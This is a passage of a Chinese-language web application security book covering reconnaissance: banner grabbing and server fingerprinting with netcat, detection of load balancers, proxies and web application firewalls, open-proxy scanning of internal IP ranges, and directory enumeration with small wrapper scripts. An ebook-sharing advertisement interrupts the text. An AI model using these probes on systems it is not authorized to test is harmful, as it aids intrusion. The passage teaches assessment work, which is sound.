底层基础架构剖析的下一步通常称为标志获取（Banner grabbing）。标志获取对于黑客很关键，因为它能够识别运行中的Web服务器软件的类型和型号（版本）。HTTP 1.1规范（RFC 2616）定义了用于沟通关于处理请求的服务器的信息的服务器响应首部域。尽管RFC鼓励实施者因为安全原因将这个域作为可配置的选项，但是几乎所有当前的实现默认都用实际数据填充这一域（不过我们很快会介绍这个规则的几个例外情况）。

提示　如果所选择的端口扫描程序支持，标志获取可以与端口扫描并行运行。

以下是使用流行的netcat实用程序进行标志获取的示例：

D:\>nc -nvv 192.168.234.34 80
(UNKNOWN) [192.168.234.34] 80 (?) open
HEAD / HTTP/1.0
[Two carriage returns]
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Fri, 04 Jan 2002 23:55:58 GMT
[etc.]

注意读取服务器标志的HEAD方法的使用，这是获取标志的最简单方法。

在第1章中，我们已经遇到了几种常用来操纵HTTP的易用工具。在这里我们使用netcat来更清楚地说明原始的“输入-输出”。

2.1.3　高级HTTP指纹识别

过去，知道了Web服务器的类型和型号通常足以提交到Google或Bugtraq，看看是否有相关的利用手段（我们将在第3章更深入地讨论这一过程）。但是，随着安全意识的增强，新产品和新技术现在已经能够阻止服务器信息的显示或者报告虚假的信息以摆脱攻击者。

唉，信息安全是一个永不休止的军备竞赛，更高级的标志获取技术已经出现，能够确定真正运行的Web服务器。我们喜欢将针对HTTP的标志获取称为Web服务器指纹识别（Fingerprinting），因为它不再只是简单地关注首部值，而且观察各种服务器中每个Web服务器的总体表现及其响应的独特性。例如，IIS服务器对无效的HTTP请求的响应可能不同于Apache Web服务器。这是确定实际运行的Web服务器类型和型号的好方法，也是学习Web服务器之间细微差别的重要之处。有许多对Web服务器进行指纹识别的方法，实际上指纹识别本身是一种艺术。我们接下来将讨论一些基本的指纹识别技术。

意外的HTTP方法

Web服务器之间最显著的不同之一是对不同类型的HTTP请求的响应方式。而且，越不寻常的请求，Web服务器软件越有可能做出不同的响应。在下面的示例中，我们发送一个PUT请求来代替典型的GET或者HEAD，这里仍然使用netcat。PUT请求没有数据。注意，即使我们发送相同的无效请求，每个服务器的反应也不同。这使我们能够确定实际使用哪个Web服务器，即使系统管理员改变了服务器返回的标志。不同的区域在示例中以粗体标出：

服务器首部异常

仔细观察不同服务器响应中的HTTP首部，你可以确定细微的不同。例如，有时候这些首部的排序不同，或者一种服务器比另一种服务器有更多的首部。

这些变化能够指出Web服务器的类型和型号。例如，在Apache 2.x中，Date:首部在最前面，在Server:首部之上，如下面的粗体文本所示：

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2005 20:22:16 GMT
Server: Apache/2.0.54
Last-Modified: Wed, 10 Aug 2005 04:05:47 GMT
ETag: "20095-2de2-3fdf365353cc0"
Accept-Ranges: bytes
Content-Length: 11746
Cache-Control: max-age=86400
Expires: Tue, 23 Aug 2005 20:22:16 GMT
Connection: close
Content-Type: text/html; charset=ISO-8859-1

在IIS 5.1中，Server:首部在最前面，Date:首部之上，这与Apache 2.0相反：

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Mon, 22 Aug 2005 20:24:07 GMT
X-Powered-By: ASP.NET
Connection: Keep-Alive
Content-Length: 6278
Content-Type: text/html
Cache-control: private

在Sun One上，Server:和Date:首部的顺序与IIS 5.1相同，但是请注意，Content-length:首部中，“length”是小写。Content-type:也一样，而IIS 5.1中，这些首部都以大写开头：

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Mon, 22 Aug 2005 20:23:36 GMT
Content-length: 2628
Content-type: text/html
Last-modified: Tue, 01 Apr 2003 20:47:57 GMT
Accept-ranges: bytes
Connection: close

在IIS 6.0上，Server:和Date:首部的顺序与Apache 2.0相同，但是在它们前面还有Connection:首部：

HTTP/1.1 200 OK
Connection: close
Date: Mon, 22 Aug 2005 20:39:23 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 23756

Httprint工具

我们已经介绍了多种HTTP服务器指纹识别技术，与其手工实施这些技术，不如使用Net-Square的Httprint工具（链接参见本章结尾处的“参考与延伸阅读”）。Httprint实施大部分这些技术（例如检查HTTP首部顺序），以便避开大部分混淆技术。它还带有一个可定制的Web服务器特征码数据库。图2-1中显示了Httprint对一些Web服务器进行指纹识别。

图2-1　Httprint工具和结果

SHODAN

SHODAN是一个搜索引擎，搜索的对象是能够对信息安全产生影响的计算机（路由、服务器等）。它从2009年12月开始启用，组合了一个HTTP端口扫描程序和一个HTTP响应的搜索引擎索引，使查找特定的Web服务器变得很容易。这样，SHODAN通过使简单的标志获取自动化并且可搜索而大大提高了有效性。互联网的大部分区域都已经为SHODAN索引，建立了与安全有关的一些有趣的场景。例如，你可以简单地识别：

·.gov域中的所有IIS服务器

·瑞士的所有Apache服务器

·所有具有特定Web服务器平台已知漏洞的系统的IP地址

图2-2展示了SHODAN的潜力。希望这些示例也能展现SHODAN可能的后果。如果说总是有理由避免显示Web服务器敏感信息的标志，那么这就是理由！

图2-2　SHODAN查找美国所有运行Windows 2000的服务器

2.1.4　基础架构中介

可能使剖析的输出出现偏差的一个问题是放置在Web应用之前的中间基础架构。这种基础架构可能包括负载平衡器、虚拟服务器配置、代理和Web应用防火墙。接下来，我们将讨论这些干扰因素对我们刚才讨论的基本指纹识别技术的阻碍，以及发现它们的方法。

虚拟服务器

需要考虑的一个问题是虚拟服务器。一些Web主机公司试图在相同机器上的多个虚拟IP地址之上运行不同的Web服务器，以节约硬件成本。要知道，端口扫描所指出的不同IP地址上的大量活跃服务器，实际上可能是具有多个虚拟IP地址的单台机器。

检测负载平衡器

因为负载平衡器一般“不可见”，许多攻击者进行评估的时候忽略了它们。但是负载平衡器可能极大地改变评估的方式。负载平衡器部署用来帮助确保单个服务器的请求不会超载。负载平衡器通过在多个服务器中分割Web流量来做到这一点。例如，当你向一个网站发出请求，负载平衡器可能将你的请求交给4个服务器中的任何一个。这种配置意味着虽然一次攻击可能在一个服务器上有效，但是如果下一次发送给另一个服务器就可能无效，这会让你觉得沮丧和困惑。尽管从理论上，所有服务器应该是完全相同的复制品，而且任何服务器的响应都应该和其他服务器相同，但是现实中并非如此。即使所有服务器上的应用都相同，文件夹结构（这种不同非常常见）、补丁级别和配置在每个服务器上都可能不同。例如，某个服务器上可能留有“测试”文件夹，而其他服务器则没有。这就是不要忽略负载平衡器的识别，以免扰乱你的评估结果的重要性。下面是检测目标网站上是否有负载平衡器运行的方法。

对邻近IP范围进行端口扫描：识别负载平衡服务器的一种简单方法是，首先确定公认服务器IP地址，然后编写脚本对周围的IP范围发出请求。我们已经发现这种技术得到多个几乎相同的响应，这可能都是负载平衡的相同Web服务器。但是，我们偶尔也会碰到一个或者几个服务器和其他有所不同，在运行过时的软件版本或者替代的服务如SSH或者FTP。这些异类通常很可能有某种错误的安全配置，可以通过它们的IP地址单独发起攻击。

时间戳分析：检测负载平衡器的一个方法是分析响应时间戳。因为许多服务器没有同步时间，你可以通过在一秒之内发出多个请求来确定是否有多台服务器。这么做，你可以分析服务器日期首部。如果你的请求被分发到多台服务器，那么首部中回报的时间可能有些不同。你需要多次分析以消除“假阳性”，发现真实的情况。如果幸运，每个服务器都不同步，你就能计算出实际有多少台服务器。

ETag和Last-Modified的差异：通过比较相同请求资源的首部响应中的ETag和Last-Modified值，你能够确定是否会从多个服务器上得到不同的文件。例如，下面是多次请求index.html得到的响应：

ETag: "20095-2de2-3fdf365353cc0"
ETag: "6ac117-2c5e-3eb9ddfaa3a40"
Last-Modified: Sun, 19 Dec 2004 20:30:25 GMT
Last-Modified: Sun, 19 Dec 2004 20:31:12 GMT

这些响应中Last-Modified时间戳的差异表明服务器没有立即复制，请求的资源在大约1分钟之后才复制到其他服务器。

负载平衡器Cookie：有些代理服务器和负载平衡器在HTTP会话中添加自己的cookie，这样它们可以保持更好的状态。这些cookie很容易找到，所以如果你看到不寻常的cookie，就应在Google上做个相关的搜索，以确定其来源。例如，浏览一个网站时，我们注意到这个cookie被传递给服务器：

AA002=1131030950-536877024/1132240551

因为这个cookie没有明确给出属于哪个应用的指示，我们用AA002=作了一个快速的Google搜索，得到了使用这个cookie的网站的多个搜索结果。经过进一步分析，我们发现这个cookie是一个跟踪cookie，名为“Avenue A”，一般来说，如果你不知道，就找Google！

枚举SSL异常：对于识别代理和负载平衡器来说，这是最后的办法。如果你确定应用实际上是负载平衡的，但是前面的方法都无效，那么可以尝试看看网站的SSL证书是否存在差异，或者SSL证书是否都支持相同的密码长度。例如，一个服务器可能按照常规，只支持128位加密。但是如果网站管理员忘记将这一策略应用到其他服务器，那么这些服务器支持96位以上的所有加密。这样的错误就可以确定网站有负载平衡。

检查HTML源代码：尽管我们会在本章稍后的2.2节“应用剖析”中更深入地讨论，但是需要注意的一点是，HTML源代码也能够透露负载平衡器的情况。例如，相同页面的多次请求可能返回不同的HTML源代码注释，如（HTML注释用<!--指出）：

<!-- ServerInfo: MPSPPIIS1B093 2001.10.3.13.34.30 Live1 -->
<!-- Version: 2.1 Build 84 -->
<!-- ServerInfo: MPSPPIIS1A096 2001.10.3.13.34.30 Live1 -->
<!-- Version: 2.1 Build 84 -->

网站上的一个页面显示了更隐秘的HTML注释。采样5次后，对这些注释进行比较，如：

<!-- whfhUAXNByd7ATE56+Fy6BE9I3B0GKXUuZuW -->
<!-- whfh6FHHX2v8MyhPvMcIjUKE69m6OQB2Ftaa -->
<!-- whfhKMcA7HcYHmkmhrUbxWNXLgGblfF3zFnl -->
<!-- whfhuJEVisaFEIHtcMPwEdn4kRiLz6/QHGqz -->
<!-- whfhzsBySWYIwg97KBeJyqEs+K3N8zIM96bE -->

这些注释内容看起来是MD 5 hash加上开始的whfh。但是还不能确定。我们将在应用剖析的部分里讨论更多关于如何收集和识别HTML注释的内容。

检测代理

毫不意外，你会发现某些最有趣的目标是不可见的。代理这样的设备对于最终用户应该是透明的，但是如果你发现了它们，它们就是很好的攻击点。接下来列出可以用于确定目标网站是否通过代理运行请求的方法。

TRACE请求： TRACE请求通知Web服务器回复刚刚收到的请求内容。这个命令在HTTP 1.1中作为调试工具。但是，幸运的是，它也能揭示我们的请求在到达Web服务器之前是否经过代理服务器。通过发出一个TRACE请求，代理服务器将修改请求并且将其发送给Web服务器，代理服务器接着传回所接收到的请求。这样，我们可以发现代理对请求的修改。

代理服务器通常添加某些首部，看起来像下面这样：

"Via:","X-Forwarded-For:","Proxy-Connection:"
TRACE / HTTP/1.1
Host: www.site.com
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Tue, 16 Aug 2005 14:27:44 GMT
Content-length: 49
TRACE / HTTP/1.1
Host: www.site.com
Via: 1.1 192.168.1.5

当你的请求穿过一个反向代理服务器时，会得到不同的结果。反向代理是一个前端代理，将来自互联网的入站请求路由到后端服务器。反向代理通常有两种方式修改请求。第一种，它们将重新映射URL指向内部服务器上的相应URL。例如，TRACE/folder1/index.aspx HTTP/1.1可能改为TRACE/site1/folder1/index.asp HTTP/1.1。第二种，反向代理将修改Host:首部指向相关的内部服务器来转发请求。看看下面的例子，你会发现Host:首部被改为server1.site.com。

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Tue, 16 Aug 2005 14:27:44 GMT
Content-length: 49
TRACE / HTTP/1.1
Host: server1.site.com

标准连接测试： CONNECT命令主要用于代理服务器代理SSL连接。用这个命令，代理代表客户端建立一个SSL连接。例如，发送一个CONNECT https://secure.site.com:443命令，将通知代理服务器建立一个指向secure.site.com 443端口的SSL连接。如果连接成功，CONNECT命令，将建立用户连接与安全连接的隧道。但是，这个命令可能被滥用，用于连接网络内部的服务器。

检查是否有代理的一个简单方法是发送一个CONNECT到已知的网站如：www.google.com，看看它是否符合要求。

注意　许多时候防火墙可能能够防御这种技术，所以你可能要尝试猜测内部IP地址，用来进行测试。

下面的例子展示了CONNECT方法如何用于连接到一个远程Web服务器：

*Request*
CONNECT remote-webserver:80 HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0)
Host: remote-webserver
*Successful Response*
HTTP/1.0 200 Connection established

标准代理请求：你可以尝试的另一个方法是插入公共网站的地址，查看代理服务器是否返回来自该网站的响应。如果返回，就意味着你可以将这个服务器导向任何你选择的地址，使你的代理服务器成为一个向公众开放的匿名代理，更糟糕的是，允许攻击者访问你的内部网络。这在下面会加以说明。现在，可用的一种较好的技术是识别目标的内部IP地址范围，然后对这一范围进行端口扫描。

提示　这种方法也同样适用于CONNETCT命令。

例如，使用这种机制的开放代理测试如下：

GET http://www.site.com/ HTTP/1.0

你可以使用这种技术扫描开放Web服务器的网络：

GET http://192.168.1.1:80/ HTTP/1.0
GET http://192.168.1.2:80/ HTTP/1.0

甚至可以这样进行端口扫描：

GET http://192.168.1.1:80/ HTTP/1.0
GET http://192.168.1.1:25/ HTTP/1.0
GET http://192.168.1.1:443/ HTTP/1.0

检测Web应用防火墙

Web应用防火墙是放在用户和Web服务器之间的保护性设备。应用防火墙通过分析HTTP流量来确定是否是有效的流量，试图避免Web攻击。你可以把它们看做Web应用的入侵防御系统（IPS）。

Web应用防火墙在评估应用时相对较少考虑，但是能够监测它们还是很重要的。下面示例并没有给出识别Web应用防火墙所有方法，但是足够帮你识别这种防御设施。

检测应用之前是否运行应用防火墙实际上相当简单。如果在测试中你总是被踢出来，或者在发送攻击请求时超时，那么很可能在你和应用之间有一个应用防火墙。另一个迹象是Web服务器对于不寻常的请求的响应和一般的情况不同，而代之于始终返回相同类型的错误。下面列出的是一些常见的Web应用防火墙和一些非常简单的检测方法。

Teros： Teros Web应用防火墙技术将对简单的TRACE请求或者任何无效的HTTP方法（如PUT）响应如下错误：

TRACE / HTTP/1.0
Host: www.site.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
HTTP/1.0 500
Content-Type: text/html
<html><head><title>Error</title></head><body>
<h2>ERROR: 500</h2>
Invalid method code<br>
</body></html>

检测Teros box的另一种简单方法是定位它发出的cookie，看上去类似这样：

st8id=1e1bcc1010b6de32734c584317443b31.00.d5134d14e9730581664bf5cb1b610784)

当然，这种cookie的值会变化，但是cookie名st8id露出了马脚，在大部分情况下，cookie的值将具有类似的字符集和长度。

F5 TrafficShield：当你发送异常的请求到F5的TrafficShield，可能会得到包含以下错误的响应。例如，我们发送一个没有数据的PUT方法：

PUT / HTTP/1.0
Host: www.site.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
HTTP/1.0 400 Bad Request
Content-Type: text/html
<html><head><title>Error</title></head>
<body><h1>HTTP Error 400</h1>
<h2>400 Bad Request</h2>
The server could not understand your request.<br>Your error ID is:
5fa97729</body></html>

TrafficShield也有一个专用的标准cookie。这个cookie名称是ASINFO，下面是一个例子：

ASINFO=1a92a506189f3c75c3acf0e7face6c6a04458961401c4a9edbf52606a4c47b1c
3253c468fc0dc8501000ttrj40ebDtxt6dEpCBOpiVzrSQ0000

Netcontinuum：检测Netcontinuum应用防火墙部署与其他产品类似，只需要查找它的cookie。如果cookie不存在，我们注意到这些设备对所有无效的请求都响应一个404错误——这对于任何Web服务器来说都很不正常。Netcontinuum的cookie如下：

NCI__SessionId=009C5f5AQEwIPUC3/TFm5vMcLX5fjVfachUDSNaSFrmDKZ/
LiQEuwC+xLGZ1FAMA+

URLScan：这是一个免费的ISAPI过滤器，为控制HTTP请求提供了很多灵活工具，但是我们不将其看作一个真正的应用防火墙。这类产品不提供动态保护，而是依赖冗长的特征码配置文件或者允许长度配置文件来阻止攻击。只要URLScan是以默认的规则来实施，检测就可能很简单。

例如，默认情况下，URLScan有一条限制路径为260个字符的规则，所以如果你发送一个超过260个字符的路径，URLScan将响应一个404错误。如果你添加以下的任何一个首部，URLScan将拒绝该请求：

·Translate:

·If:

·Lock-Token:

·Transfer-Encoding:

使用这些首部将导致URLScan返回404错误。但是，在任何其他情况下，Web服务器只会忽略额外的首部并且正常响应你发送的请求。

SecureIIS： SecureIIS类似于URLScan的增强版本——它是添加了漂亮的GUI和一些极好特性的扩充商业版本。使用它比编辑URLScan那种大配置文件要容易得多，但是检测的方法则很相似。研究其默认的规则，并且破坏它们——这将导致SecureIIS返回一个拒绝响应，默认情况下是406错误码（注意，商业版本允许修改这个错误码）。

默认规则中有一条是限制任何首部值长度都为1024字符。所以只要设置超过这一限制的首部值，查看请求是否被拒绝就可以了。SecureIIS默认的拒绝页面相当明显：它指出安全违规发生，甚至给出SecureIIS的图标和横幅。当然，大部分使用这个产品的人会修改这个页面。观察HTTP响应可能更真实，因为SecureIIS对超长首部的请求实施不寻常的406“不可接受”响应。

2.2　应用剖析

我们已经介绍了基础架构剖析的方法，现在可以进入调查应用本身这个主要部分了。这可能是平淡而乏味的工作，但是在我们的专业咨询工作中这一贯是遇到关键突破的地方。

应用检查的目的是生成内容、组件、功能和网站流向的全景，以便获得底层漏洞的线索。一般用自动化的漏洞检查程序来搜索已知的脆弱URL，而用大面积的应用检查来发现每个部分组合的方式。合适的检查能够揭示应用各方面的问题，而不仅仅是传统的某些漏洞特征是否存在。

粗略地说，应用剖析很容易。你只要慢慢地点击应用的各个部分，并且注意URL和整个网站的结构就行了。根据你的经验，应该能够很快发现网站是由什么语言编写的、基本的网站结构、动态内容的使用等。在这个调查中你所发现的每个细节都需要注意，这一点无论怎样强调都不过分。认真地做笔记并且研究发掘出来的每个事实，因为看上去毫无意义的CSS文件就可能包含着信息宝藏，比如引导你进入某个应用的注释。

这一小节将介绍Web应用剖析的基本方法，由如下的关键任务组成：

·手工检查

·搜索工具

·自动化爬行

·常见Web应用剖析

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

2.2.1　手工检查

我们进行应用剖析的第一件工作通常是简单地点击各处。熟悉网站，查找所有菜单，查看导航时URL目录名的变化。

Web应用很复杂，它们可能包含十几个文件，或者可能包含十几个有大量文件的目录。因此，以精心编排的方式记录应用的结构可以帮助你跟踪不安全的页面并且为组织一次有效的攻击提供必要的参考。

记录应用文档

打开文本编辑器是第一步，但是在类似Microsoft Excel的程序中建立一个矩阵来存储应用中每个页面信息是更简洁的方式。我们建议记录下面这些内容：

·页面名称：按照字母顺序列出文件使得跟踪特定页面的信息更容易。这些矩阵可能相当长！

·页面的完整路径：这是通向该页面的目录结构。你可以与页面名称相结合来提高效率。

·页面是否需要验证？：是或者否。

·页面是否需要SSL？：页面的URI可能是HTTPS，但是并不意味着页面不能通过普通的HTTP访问。用删除键删掉那个“S”！

·GET/POST参数：记录传递给页面的参数。许多应用由操作大量参数的一些页面驱动。

·注释：对页面进行个人的注解。这是搜索功能、管理功能还是帮助页面？这个页面“感觉”是不是不安全？它是否包含隐私信息？这是包罗万象的一列。

表2-1是部分完成的一个矩阵的示例。

注意　我们将在第4章中更多地讨论验证。简单地识别这种方法很重要。而且，仅仅/main/login.jsp页面需要验证并不意味着所有页面都需要验证，例如，/main/menu.jsp可能不需要。这一步开始暴露错误的配置。

另一个调查辅助手段是流程图。流程图帮助合并关于网站的信息并且以更清晰的方式表达。用一个精确的框图，你能够形象地表示应用的进程并且可能发现设计中的弱点或者不足之处。流程图可以是白板上的框图，或者是带有表示静态页面、动态页面、数据库访问例程及其他宏功能的色码块的3页图表。许多Web爬虫应用如WebSphinx，具有作图能力，图2-3显示了一个Web应用流程图的示例。

表2-1　记录Web应用结构的示例矩阵

图2-3　类似这个示例的流程图对于记录Web应用结构可能相当有用

对于严格的深入评审，我们建议在你的本地硬盘上镜像应用作为你的文档。你可以使用工具来自动建立映像（我们将在稍后的2.2.3节中讨论），或者手工进行映像。最好是保持和目标应用相同的目录结构，例如：

www.victim.com
/admin/admin.html
/main/index.html
/menu/menu.asp

提示　根据你对目标网站在未来的月份中预期修改的频率来调整花费在镜像上的精力。

应该考虑记录在矩阵/流程图上的其他信息包括：

·静态和动态生成的页面

·目录结构

·常用文件扩展名

·常用文件

·助手文件

·Java类和applet（小脚本）

·Flash和Silverlight对象

·HTML源代码

·表单

·查询串和参数

·常用cookie

·后端访问点

我们将在接下来的几个小节中更详细地讨论这些信息。

静态和动态生成的页面

静态页面通常是用于常见问题和联络信息的一般.html文件。它们缺乏使用输入验证测试的攻击所需要的功能，但是HTML源代码可能包含注释或者信息。最起码，联络信息会泄露电子邮件地址和用户名。动态生成的页面（asp、.jsp、.php等）更加有趣。记录感兴趣的页面的简短注释，如“管理员功能”、“用户简档信息”或者“购物车视图”。

我们前面已经提到，在手工剖析应用时，镜像应用的结构和内容到本地硬盘是个好主意。例如，如果www.victim.com有一个/include/database.inc文件，那么创建一个顶级目录www.victim.com和一个子目录“include”，并将database.inc文件放在该目录中。基于文本的浏览器lynx能够加速这一进程：

[root@meddle ]# mkdir www.victim.com
[root@meddle ]# cd www.victim.com
[root@meddle www.victim.com]# lynx -dump www.victim.com/index.html >index.html

netcat可能更好，因为它还能转储服务器首部，如下所示：

[root@meddle ]# mkdir www.victim.com
[root@meddle ]# cd www.victim.com
[root@meddle www.victim.com]# echo -e "GET /index.html HTTP/1.0\n\n" | \
> nc -vv www.victim.com 80 > index.html
www.victim.com [192.168.33.101] 80 (http) open
sent 27, rcvd 2683: NOTSOCK

为了使这个进程更加自动化（懒惰是种美德！），为netcat创建一个包装器脚本。这个脚本能在UNIX/Linux系统和安装了Cygwin实用程序的Windows系统上运行。创建名为getit.sh的文件并将其放置在执行路径中。下面是我们用于Web安全评估的一个getit.sh脚本示例：

#!/bin/sh
# mike's getit.sh script
if [ -z $1 ]; then
echo -e "\n\tUsage: $0 <host> <URL>"
exit
fi
echo -e "GET $2 HTTP/1.0\n\n" | \
nc -vv $1 80

等一下！Lynx和Mozilla能够处理只能通过SSL访问的页面。能使用netcat做同样的事情吗？答案是：不能。但是，你可以使用OpenSSL程序包。创建第二个文件，名为sgetit.sh，放在执行路径中：

#!/bin/sh
# mike's sgetit.sh script
if [ -z $1 ]; then
echo -e "\n\tUsage: $0 <SSL host> <URL>"
exit
fi
echo -e "GET $2 HTTP/1.0\n\n" | \
openssl s_client -quiet -connect $1:443 2>/dev/null

注意　getit脚本的多功能性不只在有2个命令行参数。你可以改造它，添加cookie、用户代理串或者其他HTTP首部。你所需要修改的是echo-e这一行。

现在你已经可以使用工作于HTTP和HTTPS的命令行了。Web应用将要失守！不用从你的浏览器或者Lynx中保存每个文件了，用前面展示过的getit脚本来代替，例如：

[root@meddle ]# mkdir www.victim.com
[root@meddle ]# cd www.victim.com
[root@meddle www.victim.com]# getit.sh www.victim.com /index.html >
index.html
www.victim.com [192.168.33.101] 80 (http) open
sent 27, rcvd 2683: NOTSOCK
[root@meddle www.victim.com ]# mkdir secure
[root@meddle www.victim.com ]# cd secure
[root@meddle secure]# sgetit.sh www.victim.com /secure/admin.html >
admin.html

OpenSSL s_client比netcat更冗长，查看输出时，过一会儿就令人厌倦。在我们走查Web应用的时候，你就会看到getit.sh和sgetit.sh脚本的重要性。保存这些脚本。你可以用getit脚本下载动态生成的页面，只要该页面不需要POST请求。这是很重要的功能，因为有些页面的内容很大程度上因接受的参数而变化。下面是另一个示例；这次getit.sh读取相同的menu.asp页面输出，但是用于两个不同的用户：

[root@meddle main]# getit.sh www.victim.com \
> /main/menu.asp?userID=002 > menu.002.asp
www.victim.com [192.168.33.101] 80 (http) open
sent 40, rcvd 3654: NOTSOCK
[root@meddle main]# getit.sh www.victim.com \
> /main/menu.asp?userID=007 > menu.007.asp
www.victim.com [192.168.33.101] 80 (http) open
sent 40, rcvd 5487: NOTSOCK

记住网站用于页面的命名惯例。程序员是不是不喜欢元音字母？（usrMenu.asp、Upld.asp、hlpText.php）？他们是否啰嗦？（AddNewUser.pl）他们是否大量利用脚本（main.asp的功能比瑞士军刀还多）？命名管理提供了对程序员思路的洞察。如果你发现一个页面叫做UserMenu.asp，那么很可能也存在一个叫做AdminMenu.asp的页面。调查应用的艺术不仅限于你通过归纳所找到的东西，它还包括了“猎鹿帽” [1] 和一些推理。

目录结构

Web应用的结构通常提供独特的识别标志。检查目录结构、文件扩展名、参数名和值的命名惯例等看似简单的项目，都能揭示可立即识别所运行的应用的线索（本章稍后的2.2.4节中可以看到一些新奇的例子）。获取网站公共部分的目录结构很容易。毕竟，应用是设计来让用户访问的。但是，不要停留在浏览器所能看到的部分和网站的菜单选择。Web户服务器可能有用于管理员的目录、老版本的网站、备份目录、数据目录和没有在HTML代码中引用的其他目录。试着猜测管理员和网站开发人员的思路。例如，如果静态内容在/html目录，动态内容在/jsp目录，那么cgi脚本就可能在/cgi目录里。

其他常用的目录包括：

·据推测通过SSL、验证或者混淆进行安全保证的目录：/admin//secure//adm/

·包含备份或者日志文件的目录：/.bak//backup//back//log//logs//archive//old/

·Apache个人目录：/~root//~bob//~cthulhu/

·包含文件目录：/include//inc//js//global//local/

·用于国际化的目录：/de//en//1033//fr/

这个列表并不完整。一个应用的整个目录结构可能会被移动到/en/下，来表示其用的是英语。因此，访问/include/可能返回404错误，但是访问/en/include就可以成功。回到你使用目录检查得到的已知目录和页面记录文档。程序员或者系统管理员采用什么风格来设计网站？你能在/scripts/下面找到/inc/目录吗？如果可以，接着尝试/scripts/js/或者/scripts/inc/js/。

枚举目录结构可能是个艰苦的过程，但是getit脚本能够帮你对付任何目录树。Web服务器对服务器上某个目录的GET请求会返回一个非404的错误码。这个错误码可能是200、302或者401，但是只要不是404，你就发现了一个目录，这种技术很简单：

[root@meddle]# getit.sh www.victim.com /isapi
www.victim.com [192.168.230.219] 80 (http) open
HTTP/1.1 302 Object Moved
Location: http://tk421/isapi/
Server: Microsoft-IIS/5.0
Content-Type: text/html
Content-Length: 148
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://
tk-421/isapi/">
here</a></body>sent 22, rcvd 287: NOTSOCK

用我们信赖的getit.sh脚本，我们发出了一个对/isapi/目录的请求；但是，我们忽略了一个重要的部分。后缀的斜杠从目录名中漏掉，导致IIS服务器重定向到实际的目录中。副作用是，这也泄露了服务器的内部主机名或者IP地址——即使它位于防火墙或者负载平衡器之后也是一样。Apache同样受到影响，它不会泄露服务器的内部主机名或者IP地址，但是会泄露虚拟服务器：

[root@meddle]# getit.sh www.victim.com /mail
www.victim.com [192.168.133.20] 80 (http) open
HTTP/1.1 301 Moved Permanently
Date: Wed, 30 Jan 2002 06:44:08 GMT
Server: Apache/2.0.28 (Unix)
Location: http://dev.victim.com/mail/
Content-Length: 308
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://dev.victim.com/mail/">here</a>.</p>
<hr />
<address>Apache/2.0.28 Server at dev.victim.com Port 80</address>
</body></html>
sent 21, rcvd 533: NOTSOCK

正是如此！如果目录不存在，则会收到404错误。否则继续挖掘目录树。

遍历Web应用查找隐藏文件夹时能够减少所花时间和精力的另一个工具是OWASP DirBuster。DirBuster是一个多线程Java应用，设计用于暴力破解Web服务器上的目录和文件。根据一个用户提供的字典文件，DirBuster将试图在应用中爬行，并且猜测非链接的目录和有特定扩展名的文件。例如，如果应用使用PHP，用户可以指定“php”为特定文件扩展名，DirBuster将在每个爬虫程序遇到的目录中猜测名为[字典中的词].php的文件（见图2-4）。DirBuster能够递归扫描查找的新目录，性能可以调整。应该注意的是，使用DirBuster进行递归扫描会导致大量流量，而在过度请求不受欢迎的环境里，线程数量应该减少。

图2-4　OWASP DirBuster工具用于暴力破解隐藏的目录和文件

常见文件扩展名

文件扩展名是应用类型很好的标志。通过语言或者应用关联，文件扩展名用于确定文件类型。文件扩展名还通知Web服务器如何处理该文件。某些扩展名是可执行文件，其他的则只是模板文件。下面的列表包含了Web应用中常见的扩展名以及它们的关联。如果你不知道扩展名所关联的应用程序，只要用Google之类的互联网搜索引擎搜索该扩展名（例如，使用语法“allinurl:.cfm”）。这将允许你识别可能使用这一扩展名的网站，能帮助你缩小扩展名关联的应用程序的范围。

提示　另一个研究文件扩展名的方便资源是http://filext.com/，使你能找出一个扩展名所关联的应用程序。

表2-2列出了一些常见的文件扩展名和使用它们的应用或者技术。

表2-2　常见文件扩展名和使用它们的应用或者技术

了解最新的常用Web应用软件：因为评估Web应用是我们的工作，我们通常希望尽可能熟悉流行的Web应用软件。我们始终和最新的现有/开放源码Web应用打交道。到www.sourceforge.net或者www.freshmeat.net查看最流行的50个免费Web应用，它们用于许多应用。了解它们的工作原理和观感将能帮助你在评估网站时很快地发现它们的存在。

常见文件

大部分软件安装时还会带有一些众所周知的文件，例如：

·Readme（自述文件）

·ToDo

·Changes（更改说明文件）

·Install.txt（安装说明文件）

·EULA.txt

搜索网站中的所有文件夹和子文件夹，你可能会发现丰富的有用信息，它们能告诉你正在运行的应用及其版本，以及指向软件和更新下载页面的URL。如果没有时间或者能力检查所有文件夹，你应该确保至少查看网站的根目录，这些文件类型通常保存在那里（例如，http://www.site.com/Readme.txt）。大部分管理员和开发人员会遵循默认的安装，或者会将整个档案的内容解压到Web根目录。这些家伙非常帮忙！

助手文件

助手文件是对所有支持应用但是通常不出现在URL中的文件的总称。常见的“助手”是JavaScript文件。它们通常用于格式化HTML，以适应流行浏览器的怪癖或者执行客户端输入验证。

·层叠样式单： CSS文件（.css）指示浏览器如何格式化文本。它们很少包含敏感信息，但是不管怎么说要将它们列举出来。

·XML样式单：应用正在转向用XML表现数据。样式单（.xsl）定义XML请求和格式化的文档结构。它们可能拥有丰富的信息，通常列出数据库域或者引用其他助手文件。

